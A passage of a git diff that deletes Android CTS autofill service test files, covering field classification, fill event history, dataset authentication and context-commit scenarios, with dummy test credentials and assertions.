-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
-        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
-        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
-        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId3.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
-                        new FieldClassificationResult(fieldId4.get(),
-                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
-    }
-
-    @Test
-    public void testMiss() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "ABCDEF", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "xyz");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForContextCommitted(events.get(0));
-    }
-
-    @Test
-    public void testNoUserInput() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForContextCommitted(events.get(0));
-    }
-
-    @Test
-    public void testHit_usePackageUserData() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "TEST1", "cat")
-                .setFieldClassificationAlgorithm(null, null)
-                .build());
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId1
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .setUserData(new UserData.Builder("id2", "TEST2", "cat")
-                        .setFieldClassificationAlgorithm(null, null)
-                        .build())
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "test1");
-
-        // Finish context
-        mAfm.commit();
-
-        final Event packageUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
-        assertFillEventForFieldsClassification(packageUserDataEvent, fieldId1.get(), "cat", 0.8F);
-
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setVisitor((contexts, builder) -> fieldId2
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Need to switch focus first
-        mActivity.focusCell(1, 2);
-
-        // Trigger second autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final Event defaultUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
-        assertFillEventForFieldsClassification(defaultUserDataEvent, fieldId2.get(), "cat", 1.0F);
-    }
-
-    @Test
-    public void testHit_mergeUserData_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                })
-                .setUserData(new UserData.Builder("id2", "FOOLY", "otherId")
-                        .add("EMPTY", "myId")
-                        .build())
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // u1:  20%, u2: 60%
-        mActivity.setText(1, 2, "empty"); // u1: 100%, u2: 20%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "otherId", "myId" }, new float[] { 0.6F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                });
-    }
-
-    /*
-     * TODO(b/73648631): other scenarios:
-     *
-     * - Multipartition (for example, one response with FieldsDetection, others with datasets,
-     *   saveinfo, and/or ignoredIds)
-     * - make sure detectable fields don't trigger a new partition
-     * v test partial hit (for example, 'fool' instead of 'full'
-     * v multiple fields
-     * v multiple value
-     * - combinations of above items
-     */
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryCommonTestCase.java
deleted file mode 100644
index 931193f..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryCommonTestCase.java
+++ /dev/null
@@ -1,526 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertDeprecatedClientState;
-import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
-import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
-import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.inline.InlineFillEventHistoryTest;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.FillResponse;
-import android.view.View;
-
-import org.junit.Test;
-
-import java.util.List;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * This is the common test cases with {@link FillEventHistoryTest} and
- * {@link InlineFillEventHistoryTest}.
- */
-@AppModeFull(reason = "Service-specific test")
-public abstract class FillEventHistoryCommonTestCase extends AbstractLoginActivityTestCase {
-
-    protected FillEventHistoryCommonTestCase() {}
-
-    protected FillEventHistoryCommonTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    protected Bundle getBundle(String key, String value) {
-        final Bundle bundle = new Bundle();
-        bundle.putString(key, value);
-        return bundle;
-    }
-
-    @Test
-    public void testDatasetAuthenticationSelected() throws Exception {
-        enableService();
-
-        // Set up FillResponse with dataset authentication
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation("Dataset", isInlineMode())
-                        .build());
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setId("name")
-                        .setPresentation("authentication", isInlineMode())
-                        .setAuthentication(authentication)
-                        .build())
-                .setExtras(clientState).build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        // Authenticate
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("authentication");
-        mActivity.assertAutoFilled();
-
-        // Verify fill selection
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
-        assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
-                "clientStateKey", "clientStateValue");
-    }
-
-    @Test
-    public void testAuthenticationSelected() throws Exception {
-        enableService();
-
-        // Set up FillResponse with response wide authentication
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "username")
-                                .setId("name")
-                                .setPresentation("dataset", isInlineMode())
-                                .build())
-                        .setExtras(clientState).build());
-
-        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
-                .setPresentation("authentication", isInlineMode())
-                .setAuthentication(authentication, ID_USERNAME)
-                .build());
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        // Authenticate
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("authentication");
-        mUiBot.waitForIdle();
-        mUiBot.selectDataset("dataset");
-        mUiBot.waitForIdle();
-
-        // Verify fill selection
-        final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
-        assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
-        List<Event> events = selection.getEvents();
-        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
-        assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
-                "clientStateKey", "clientStateValue");
-        assertFillEventForDatasetShown(events.get(2), "clientStateKey", "clientStateValue");
-        assertFillEventForDatasetSelected(events.get(3), "name",
-                "clientStateKey", "clientStateValue");
-    }
-
-    @Test
-    public void testDatasetSelected_twoResponses() throws Exception {
-        enableService();
-
-        // Set up first partition with an anonymous dataset
-        Bundle clientState1 = new Bundle();
-        clientState1.putCharSequence("clientStateKey", "Value1");
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .setExtras(clientState1)
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mUiBot.waitForIdle();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertDeprecatedClientState(selection, "clientStateKey", "Value1");
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value1");
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID,
-                    "clientStateKey", "Value1");
-        }
-
-        // Set up second partition with a named dataset
-        Bundle clientState2 = new Bundle();
-        clientState2.putCharSequence("clientStateKey", "Value2");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_PASSWORD, "password2")
-                                .setPresentation("dataset2", isInlineMode())
-                                .setId("name2")
-                                .build())
-                .addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_PASSWORD, "password3")
-                                .setPresentation("dataset3", isInlineMode())
-                                .setId("name3")
-                                .build())
-                .setExtras(clientState2)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
-        mActivity.expectPasswordAutoFill("password3");
-
-        // Trigger autofill on password
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset3");
-        mUiBot.waitForIdle();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
-            assertFillEventForDatasetSelected(events.get(1), "name3",
-                    "clientStateKey", "Value2");
-        }
-
-        mActivity.onPassword((v) -> v.setText("new password"));
-        mActivity.syncRunOnUiThread(() -> mActivity.finish());
-        waitUntilDisconnected();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
-            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
-
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
-            assertFillEventForDatasetSelected(events.get(1), "name3",
-                    "clientStateKey", "Value2");
-            assertFillEventForDatasetShown(events.get(2), "clientStateKey", "Value2");
-            assertFillEventForSaveShown(events.get(3), NULL_DATASET_ID,
-                    "clientStateKey", "Value2");
-        }
-    }
-
-    @Test
-    public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mUiBot.waitForIdleSync();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertNoDeprecatedClientState(selection);
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Second request
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.waitForIdleSync();
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasets();
-        waitUntilDisconnected();
-
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    @Test
-    public void testNoEvents_whenServiceReturnsFailure() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mUiBot.waitForIdleSync();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertNoDeprecatedClientState(selection);
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Second request
-        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.waitForIdleSync();
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasets();
-        waitUntilDisconnected();
-
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    @Test
-    public void testNoEvents_whenServiceTimesout() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertNoDeprecatedClientState(selection);
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Second request
-        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        waitUntilDisconnected();
-
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    /**
-     * Tests the following scenario:
-     *
-     * <ol>
-     *    <li>Activity A is launched.
-     *    <li>Activity A triggers autofill.
-     *    <li>Activity B is launched.
-     *    <li>Activity B triggers autofill.
-     *    <li>User goes back to Activity A.
-     *    <li>Activity A triggers autofill.
-     *    <li>User triggers save on Activity A - at this point, service should have stats of
-     *        activity A.
-     * </ol>
-     */
-    @Test
-    public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
-        enableService();
-
-        // Launch activity A
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "A"))
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill and IME on activity A.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-
-        // Verify fill selection for Activity A
-        final FillEventHistory selectionA = InstrumentedAutoFillService.getFillEventHistory(0);
-        assertDeprecatedClientState(selectionA, "activity", "A");
-
-        // Launch activity B
-        mActivity.startActivity(new Intent(mActivity, CheckoutActivity.class));
-        mUiBot.assertShownByRelativeId(ID_CC_NUMBER);
-
-        // Trigger autofill on activity B
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "B"))
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_CC_NUMBER, "4815162342")
-                        .setPresentation("datasetB", isInlineMode())
-                        .build())
-                .build());
-        mUiBot.focusByRelativeId(ID_CC_NUMBER);
-        sReplier.getNextFillRequest();
-
-        // Verify fill selection for Activity B
-        final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(1);
-        assertDeprecatedClientState(selectionB, "activity", "B");
-        assertFillEventForDatasetShown(selectionB.getEvents().get(0), "activity", "B");
-
-        // Set response for back to activity A
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "A"))
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Now switch back to A...
-        mUiBot.pressBack(); // dismiss autofill
-        mUiBot.pressBack(); // dismiss keyboard (or task, if there was no keyboard)
-        final AtomicBoolean focusOnA = new AtomicBoolean();
-        mActivity.syncRunOnUiThread(() -> focusOnA.set(mActivity.hasWindowFocus()));
-        if (!focusOnA.get()) {
-            mUiBot.pressBack(); // dismiss task, if the last pressBack dismissed only the keyboard
-        }
-        mUiBot.assertShownByRelativeId(ID_USERNAME);
-        assertWithMessage("root window has no focus")
-                .that(mActivity.getWindow().getDecorView().hasWindowFocus()).isTrue();
-
-        sReplier.getNextFillRequest();
-
-        // ...and trigger save
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        sReplier.getNextSaveRequest();
-
-        // Finally, make sure history is right
-        final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(1);
-        assertDeprecatedClientState(finalSelection, "activity", "A");
-        assertFillEventForSaveShown(finalSelection.getEvents().get(0), NULL_DATASET_ID, "activity",
-                "A");
-    }
-
-    @Test
-    public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
-        enableService();
-        // Trigger 1st autofill request
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill(BACKDOOR_USERNAME);
-        // Trigger autofill and IME on username.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-        // Verify fill history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Trigger 2nd autofill request (which will clear the fill event history)
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation("dataset2", isInlineMode())
-                        .build())
-                // don't set flags
-                .build());
-        mActivity.expectPasswordAutoFill("whatever");
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset2");
-        mActivity.assertAutoFilled();
-        // Verify fill history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-        }
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
deleted file mode 100644
index 92e963a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ /dev/null
@@ -1,797 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.FillResponse;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-
-import com.google.common.collect.ImmutableMap;
-
-import org.junit.Test;
-
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
- */
-@AppModeFull(reason = "Service-specific test")
-public class FillEventHistoryTest extends FillEventHistoryCommonTestCase {
-
-    @Test
-    public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
-        enableService();
-
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert no events where generated
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    @Test
-    public void textContextCommitted_withoutDatasets() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        sReplier.getNextSaveRequest();
-
-        // Assert it
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
-    }
-
-
-    @Test
-    public void testContextCommitted_idlessDatasets() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
